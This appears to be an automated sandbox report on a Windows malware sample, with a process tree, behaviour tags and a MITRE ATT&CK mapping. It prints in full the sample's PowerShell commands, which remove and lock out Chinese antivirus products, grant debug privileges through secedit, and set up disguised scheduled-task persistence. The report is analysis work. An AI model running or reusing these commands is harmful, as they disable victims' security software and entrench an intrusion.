    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $ErrorActionPreference='SilentlyContinue';$huorong_path = Get-ChildItem -Path @('HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall', 'HKLM:\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall', 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall', 'HKCU:\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall') -ErrorAction SilentlyContinue | Get-ItemProperty -Name DisplayName, DisplayVersion, InstallLocation, UninstallString -ErrorAction SilentlyContinue | Where-Object { $_.DisplayName -match '»ðÈÞ' } | ForEach-Object { [IO.Path]::GetDirectoryName($_.UninstallString)} };if ($huorong_path){$huorong_drive = [IO.Path]::GetPathRoot($huorong_path).TrimEnd('\');fltmc.exe detach sysdiag $huorong_drive;Remove-Item -Path $huorong_path -Recurse -Force;(Get-ChildItem -Path $huorong_path -Recurse|Where-Object{$_ -is [IO.FileInfo]})|Rename-Item -NewName {'001_'+$_.Name} -Force;icacls.exe $huorong_path /deny 'Everyone:(OI)(CI)RX';Set-Content -Value 'ok' -Path 'C:\ok.ini';}
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Hide Artifacts: Ignore Process Interrupts
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4920
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $ErrorActionPreference='SilentlyContinue';$huorong_path = Get-ChildItem -Path @('HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall', 'HKLM:\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall', 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall', 'HKCU:\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall') -ErrorAction SilentlyContinue | Get-ItemProperty -Name DisplayName, DisplayVersion, InstallLocation, UninstallString -ErrorAction SilentlyContinue | Where-Object { $_.DisplayName -match '½ðÉ½¶¾°Ô' } | ForEach-Object { [IO.Path]::GetDirectoryName($_.UninstallString.Replace([string][char]34,''))} };if ($huorong_path){$huorong_drive = [IO.Path]::GetPathRoot($huorong_path).TrimEnd('\');fltmc.exe detach kisknl $huorong_drive;Remove-Item -Path $huorong_path -Recurse -Force;(Get-ChildItem -Path $huorong_path -Recurse|Where-Object{$_ -is [IO.FileInfo]})|Rename-Item -NewName {'001_'+$_.Name} -Force;icacls.exe $huorong_path /deny 'Everyone:(OI)(CI)RX';Set-Content -Value 'ok' -Path 'C:\ok.ini';}
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Hide Artifacts: Ignore Process Interrupts
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3824
- - C:\ProgramData\Data\un.exe
    "C:\ProgramData\Data\un.exe" x -o+ -ppoiuytrewq C:\ProgramData\Data\upx.rar iusb3mon.exe C:\ProgramData\Program\
    3⤵
    - Executes dropped EXE
    PID:2112
- - C:\ProgramData\Program\iusb3mon.exe
    "C:\ProgramData\Program\iusb3mon.exe" false
    3⤵
    - UAC bypass
    - Identifies VirtualBox via ACPI registry values (likely anti-VM)
    - Checks BIOS information in registry
    - Identifies Wine through registry keys
    - Adds Run key to start application
    - Checks whether UAC is enabled
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Checks processor information in registry
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    - System policy modification
    PID:4668
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -C "Set-Content -Value @('[Unicode]','Unicode=yes','[Version]','signature=\"$CHICAGO$\"','Revision=1','[Privilege Rights]','SeDebugPrivilege = *S-1-5-18','[File Security]','\"C:\ProgramData\Program\",0,\"D:AR(D;OICI;DTSDRCWD;;;WD)\"') -Path ([IO.Path]::Combine($env:TEMP, 'SeDebugPrivilege1.inf')) -Encoding Unicode; secedit.exe /configure /db ([IO.Path]::Combine($env:TEMP, 'SeDebugPrivilege1.sdb')) /cfg ([IO.Path]::Combine($env:TEMP, 'SeDebugPrivilege1.inf')) /overwrite /log ([IO.Path]::Combine($env:TEMP, 'SeDebugPrivilege1.log')) /quiet; Remove-Item -Path ([IO.Path]::Combine($env:TEMP, 'SeDebugPrivilege1.*')) -Force;"
      4⤵
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of WriteProcessMemory
      PID:2024
    - - C:\Windows\SysWOW64\SecEdit.exe
        
        "C:\Windows\system32\SecEdit.exe" /configure /db C:\Users\Admin\AppData\Local\Temp\SeDebugPrivilege1.sdb /cfg C:\Users\Admin\AppData\Local\Temp\SeDebugPrivilege1.inf /overwrite /log C:\Users\Admin\AppData\Local\Temp\SeDebugPrivilege1.log /quiet
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:3852
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -C "Set-Content -Value @('[Unicode]','Unicode=yes','[Version]','signature=\"$CHICAGO$\"','Revision=1','[Privilege Rights]','SeDebugPrivilege = *S-1-5-18','[File Security]','\"C:\ProgramData\Microsoft\Program\",0,\"D:AR(D;OICI;DTSDRCWD;;;WD)\"') -Path ([IO.Path]::Combine($env:TEMP, 'SeDebugPrivilege2.inf')) -Encoding Unicode; secedit.exe /configure /db ([IO.Path]::Combine($env:TEMP, 'SeDebugPrivilege2.sdb')) /cfg ([IO.Path]::Combine($env:TEMP, 'SeDebugPrivilege2.inf')) /overwrite /log ([IO.Path]::Combine($env:TEMP, 'SeDebugPrivilege2.log')) /quiet; Remove-Item -Path ([IO.Path]::Combine($env:TEMP, 'SeDebugPrivilege2.*')) -Force;"
      4⤵
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of WriteProcessMemory
      PID:728
    - - C:\Windows\SysWOW64\SecEdit.exe
        
        "C:\Windows\system32\SecEdit.exe" /configure /db C:\Users\Admin\AppData\Local\Temp\SeDebugPrivilege2.sdb /cfg C:\Users\Admin\AppData\Local\Temp\SeDebugPrivilege2.inf /overwrite /log C:\Users\Admin\AppData\Local\Temp\SeDebugPrivilege2.log /quiet
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:2584
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -C "Set-Content -Value @('[Unicode]','Unicode=yes','[Version]','signature=\"$CHICAGO$\"','Revision=1','[Privilege Rights]','SeDebugPrivilege = *S-1-5-18','[File Security]','\"C:\ProgramData\Data\",0,\"D:AR(D;OICI;DTSDRCWD;;;WD)\"') -Path ([IO.Path]::Combine($env:TEMP, 'SeDebugPrivilege3.inf')) -Encoding Unicode; secedit.exe /configure /db ([IO.Path]::Combine($env:TEMP, 'SeDebugPrivilege3.sdb')) /cfg ([IO.Path]::Combine($env:TEMP, 'SeDebugPrivilege3.inf')) /overwrite /log ([IO.Path]::Combine($env:TEMP, 'SeDebugPrivilege3.log')) /quiet; Remove-Item -Path ([IO.Path]::Combine($env:TEMP, 'SeDebugPrivilege3.*')) -Force;"
      4⤵
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of WriteProcessMemory
      PID:4020
    - - C:\Windows\SysWOW64\SecEdit.exe
        
        "C:\Windows\system32\SecEdit.exe" /configure /db C:\Users\Admin\AppData\Local\Temp\SeDebugPrivilege3.sdb /cfg C:\Users\Admin\AppData\Local\Temp\SeDebugPrivilege3.inf /overwrite /log C:\Users\Admin\AppData\Local\Temp\SeDebugPrivilege3.log /quiet
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:3836
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -C "[IO.File]::WriteAllBytes([IO.Path]::Combine($env:TEMP, 'SeDebugPrivilege4.inf'), [Convert]::FromBase64String('//5bAFUAbgBpAGMAbwBkAGUAXQANAAoAVQBuAGkAYwBvAGQAZQA9AHkAZQBzAA0ACgBbAFYAZQByAHMAaQBvAG4AXQANAAoAcwBpAGcAbgBhAHQAdQByAGUAPQAiACQAQwBIAEkAQwBBAEcATwAkACIADQAKAFIAZQB2AGkAcwBpAG8AbgA9ADEADQAKAFsAUAByAGkAdgBpAGwAZQBnAGUAIABSAGkAZwBoAHQAcwBdAA0ACgBTAGUARABlAGIAdQBnAFAAcgBpAHYAaQBsAGUAZwBlACAAPQAgACoAUwAtADEALQA1AC0AMQA4AA0ACgA=')); secedit.exe /configure /db ([IO.Path]::Combine($env:TEMP, 'SeDebugPrivilege4.sdb')) /cfg ([IO.Path]::Combine($env:TEMP, 'SeDebugPrivilege4.inf')) /overwrite /log ([IO.Path]::Combine($env:TEMP, 'SeDebugPrivilege4.log')) /quiet; Remove-Item -Path ([IO.Path]::Combine($env:TEMP, 'SeDebugPrivilege4.*')) -Force;"
      4⤵
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of WriteProcessMemory
      PID:2908
    - - C:\Windows\SysWOW64\SecEdit.exe
        
        "C:\Windows\system32\SecEdit.exe" /configure /db C:\Users\Admin\AppData\Local\Temp\SeDebugPrivilege4.sdb /cfg C:\Users\Admin\AppData\Local\Temp\SeDebugPrivilege4.inf /overwrite /log C:\Users\Admin\AppData\Local\Temp\SeDebugPrivilege4.log /quiet
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:1484
  - - C:\Windows\SysWOW64\cmd.exe
      cmd /c echo.>c:\inst.ini
      4⤵
      System Location Discovery: System Language Discovery
      PID:1496
  - - C:\Windows\SysWOW64\cmd.exe
      cmd /c echo.>c:\inst.ini
      4⤵
      System Location Discovery: System Language Discovery
      PID:1336
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass $ErrorActionPreference='SilentlyContinue';$360safe = Get-ChildItem -Path @('HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall', 'HKLM:\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall', 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall', 'HKCU:\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall') -ErrorAction SilentlyContinue | Get-ItemProperty -Name DisplayName, DisplayVersion, InstallLocation, UninstallString -ErrorAction SilentlyContinue | Where-Object { $_.DisplayName -like '*360°²È«ÎÀÊ¿*' } | ForEach-Object { $_.InstallLocation };if ($360safe){$360drive = [IO.Path]::GetPathRoot($360safe).TrimEnd('\');fltmc.exe detach 360Box64 $360drive;fltmc.exe detach 360FsFlt $360drive;fltmc.exe detach 360qpesv $360drive;fltmc.exe detach DsArk $360drive;Remove-Item -Path $360safe -Recurse -Force;(Get-ChildItem -Path $360safe -Recurse|Where-Object{$_ -is [IO.FileInfo]})|Rename-Item -NewName {'001_'+$_.Name} -Force;icacls.exe $360safe /deny 'Everyone:(OI)(CI)RX';Set-Content -Value 'ok' -Path 'C:\360safe.ini';}
      4⤵
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      PID:3284
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass $ErrorActionPreference='SilentlyContinue';$360safe = Get-ChildItem -Path @('HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall', 'HKLM:\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall', 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall', 'HKCU:\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall') -ErrorAction SilentlyContinue | Get-ItemProperty -Name DisplayName, DisplayVersion, InstallLocation, UninstallString -ErrorAction SilentlyContinue | Where-Object { $_.DisplayName -like '*360sd*' } | ForEach-Object { $_.InstallLocation };if ($360safe){$360drive = [IO.Path]::GetPathRoot($360safe).TrimEnd('\');fltmc.exe detach 360Box64 $360drive;fltmc.exe detach 360FsFlt $360drive;fltmc.exe detach 360qpesv $360drive;fltmc.exe detach DsArk $360drive;Remove-Item -Path $360safe -Recurse -Force;(Get-ChildItem -Path $360safe -Recurse|Where-Object{$_ -is [IO.FileInfo]})|Rename-Item -NewName {'001_'+$_.Name} -Force;icacls.exe $360safe /deny 'Everyone:(OI)(CI)RX';Set-Content -Value 'ok' -Path 'C:\360sd.ini';}
      4⤵
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      PID:4072
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -ExecutionPolicy Bypass $ErrorActionPreference='SilentlyContinue';$huorong_path = Get-ChildItem -Path @('HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall', 'HKLM:\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall', 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall', 'HKCU:\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall') -ErrorAction SilentlyContinue | Get-ItemProperty -Name DisplayName, DisplayVersion, InstallLocation, UninstallString -ErrorAction SilentlyContinue | Where-Object { $_.DisplayName -match '»ðÈÞ' } | ForEach-Object { [IO.Path]::GetDirectoryName($_.UninstallString)} };if ($huorong_path){$huorong_drive = [IO.Path]::GetPathRoot($huorong_path).TrimEnd('\');fltmc.exe detach sysdiag $huorong_drive;Remove-Item -Path $huorong_path -Recurse -Force;(Get-ChildItem -Path $huorong_path -Recurse|Where-Object{$_ -is [IO.FileInfo]})|Rename-Item -NewName {'001_'+$_.Name} -Force;icacls.exe $huorong_path /deny 'Everyone:(OI)(CI)RX';Set-Content -Value 'ok' -Path 'C:\ok.ini';}
      4⤵
      Command and Scripting Interpreter: PowerShell
      Hide Artifacts: Ignore Process Interrupts
      System Location Discovery: System Language Discovery
      PID:1212
  - - C:\Windows\SysWOW64\cmd.exe
      cmd.exe /c schtasks.exe /create /tn "Windows Audio Endpoint Builder(ÏµÍ³ÒôÆµ·þÎñ)" /xml "C:\ProgramData\Microsoft\MicrosoftNetFramework.xml
      4⤵
      System Location Discovery: System Language Discovery
      PID:2776
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks.exe /create /tn "Windows Audio Endpoint Builder(ÏµÍ³ÒôÆµ·þÎñ)" /xml "C:\ProgramData\Microsoft\MicrosoftNetFramework.xml
        5⤵
        System Location Discovery: System Language Discovery
        Scheduled Task/Job: Scheduled Task
        
        PID:1856
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass $ErrorActionPreference='SilentlyContinue';$360safe = Get-ChildItem -Path @('HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall', 'HKLM:\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall', 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall', 'HKCU:\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall') -ErrorAction SilentlyContinue | Get-ItemProperty -Name DisplayName, DisplayVersion, InstallLocation, UninstallString -ErrorAction SilentlyContinue | Where-Object { $_.DisplayName -like '*360°²È«ÎÀÊ¿*' } | ForEach-Object { $_.InstallLocation };if ($360safe){$360drive = [IO.Path]::GetPathRoot($360safe).TrimEnd('\');fltmc.exe detach 360Box64 $360drive;fltmc.exe detach 360FsFlt $360drive;fltmc.exe detach 360qpesv $360drive;fltmc.exe detach DsArk $360drive;Remove-Item -Path $360safe -Recurse -Force;(Get-ChildItem -Path $360safe -Recurse|Where-Object{$_ -is [IO.FileInfo]})|Rename-Item -NewName {'001_'+$_.Name} -Force;icacls.exe $360safe /deny 'Everyone:(OI)(CI)RX';Set-Content -Value 'ok' -Path 'C:\360safe.ini';}
      4⤵
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      PID:3244
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass $ErrorActionPreference='SilentlyContinue';$360safe = Get-ChildItem -Path @('HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall', 'HKLM:\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall', 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall', 'HKCU:\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall') -ErrorAction SilentlyContinue | Get-ItemProperty -Name DisplayName, DisplayVersion, InstallLocation, UninstallString -ErrorAction SilentlyContinue | Where-Object { $_.DisplayName -like '*360sd*' } | ForEach-Object { $_.InstallLocation };if ($360safe){$360drive = [IO.Path]::GetPathRoot($360safe).TrimEnd('\');fltmc.exe detach 360Box64 $360drive;fltmc.exe detach 360FsFlt $360drive;fltmc.exe detach 360qpesv $360drive;fltmc.exe detach DsArk $360drive;Remove-Item -Path $360safe -Recurse -Force;(Get-ChildItem -Path $360safe -Recurse|Where-Object{$_ -is [IO.FileInfo]})|Rename-Item -NewName {'001_'+$_.Name} -Force;icacls.exe $360safe /deny 'Everyone:(OI)(CI)RX';Set-Content -Value 'ok' -Path 'C:\360sd.ini';}
      4⤵
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      PID:3344
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -ExecutionPolicy Bypass $ErrorActionPreference='SilentlyContinue';$huorong_path = Get-ChildItem -Path @('HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall', 'HKLM:\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall', 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall', 'HKCU:\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall') -ErrorAction SilentlyContinue | Get-ItemProperty -Name DisplayName, DisplayVersion, InstallLocation, UninstallString -ErrorAction SilentlyContinue | Where-Object { $_.DisplayName -match '»ðÈÞ' } | ForEach-Object { [IO.Path]::GetDirectoryName($_.UninstallString)} };if ($huorong_path){$huorong_drive = [IO.Path]::GetPathRoot($huorong_path).TrimEnd('\');fltmc.exe detach sysdiag $huorong_drive;Remove-Item -Path $huorong_path -Recurse -Force;(Get-ChildItem -Path $huorong_path -Recurse|Where-Object{$_ -is [IO.FileInfo]})|Rename-Item -NewName {'001_'+$_.Name} -Force;icacls.exe $huorong_path /deny 'Everyone:(OI)(CI)RX';Set-Content -Value 'ok' -Path 'C:\ok.ini';}
      4⤵
      Command and Scripting Interpreter: PowerShell
      Hide Artifacts: Ignore Process Interrupts
      System Location Discovery: System Language Discovery
      PID:4040

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Checks SCSI registry key(s)
- Suspicious use of AdjustPrivilegeToken
PID:2320

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Event Triggered Execution

T1546

Installer Packages

T1546.016

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Event Triggered Execution

T1546

Installer Packages

T1546.016

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Hide Artifacts

T1564

Ignore Process Interrupts

T1564.011

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

System Binary Proxy Execution

T1218

Msiexec

T1218.007

Virtualization/Sandbox Evasion

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

System Information Discovery

System Location Discovery

T1614

System Language Discovery

T1614.001

Virtualization/Sandbox Evasion